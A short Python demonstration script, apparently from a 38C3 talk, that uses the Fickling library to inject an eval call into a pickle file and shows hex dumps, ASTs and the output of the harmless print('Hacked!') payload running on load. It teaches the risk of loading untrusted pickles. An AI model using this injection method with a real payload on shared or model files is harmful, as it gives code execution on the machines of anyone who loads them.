Demonstrates pickled file injection via the Fickling module

inject_pickle.py

#!/usr/bin/env python3
# Demonstrates pickled file injection via the Fickling module
# Ange Albertini 2024

import ast
import pickle
import fickling
import string

FILENAME = "message.pkl"

pb = [ord(c) for c in string.ascii_letters +
      string.punctuation + string.digits]


def xxd():
    with open(FILENAME, "rb") as f:
        data = f.read()
    for i in range(1+(len(data) // 16)):
        offset = i * 16
        ascii = ""
        for c in data[i*16:i*16+16]:
            if c in pb:
                ascii += bytes([c]).decode()
            else:
                ascii += '.'
        print("%08X: %s  %s" % (offset,
                                " ".join(
                                    "%02x" % c for c in data[offset: offset + 16]).ljust(16*3),
                                ascii)
              )
        i += 16

def load_print():
    xxd()
    print("AST:")
    print(ast.dump(fickling.fickle.Pickled.load(open(FILENAME, "rb")).ast, indent=2))

    print("\nLoading pickle, printing message:")
    message = pickle.load(open(FILENAME, "rb"))
    print(repr(message))


print("Generating pickle:")
message = "Hello 38C3!"
pickle.dump(message, open(FILENAME, "wb"))

load_print()

print("\nInjecting payload.")
file = open(FILENAME, "rb")
stacked_pickled = fickling.fickle.StackedPickle.load(file)
pickled = stacked_pickled[0]
pickled.insert_python_eval(
    "print('Hacked!')",
)
pickled.dump(open(FILENAME, "wb"))

load_print()

output = """"
Generating pickle:
00000000: 80 04 95 0f 00 00 00 00 00 00 00 8c 0b 48 65 6c   .............Hel
00000010: 6c 6f 20 33 38 43 33 21 94 2e                     lo.38C3!..
AST:
Module(
  body=[
    Assign(
      targets=[
        Name(id='result', ctx=Store())],
      value=Constant(value='Hello 38C3!'))],
  type_ignores=[])

Loading pickle, printing message:
'Hello 38C3!'

Injecting payload.
00000000: 80 04 95 0f 00 00 00 00 00 00 00 63 62 75 69 6c   ...........cbuil
00000010: 74 69 6e 73 0a 65 76 61 6c 0a 28 8c 10 70 72 69   tins.eval.(..pri
00000020: 6e 74 28 27 48 61 63 6b 65 64 21 27 29 74 52 8c   nt('Hacked!')tR.
00000030: 0b 48 65 6c 6c 6f 20 33 38 43 33 21 94 2e         .Hello.38C3!..
AST:
Module(
  body=[
    Assign(
      targets=[
        Name(id='_var0', ctx=Store())],
      value=Call(
        func=Name(id='eval', ctx=Load()),
        args=[
          Constant(value="print('Hacked!')")],
        keywords=[])),
    Assign(
      targets=[
        Name(id='result', ctx=Store())],
      value=Constant(value='Hello 38C3!'))],
  type_ignores=[])

Loading pickle, printing message:
Hacked!
'Hello 38C3!'
"""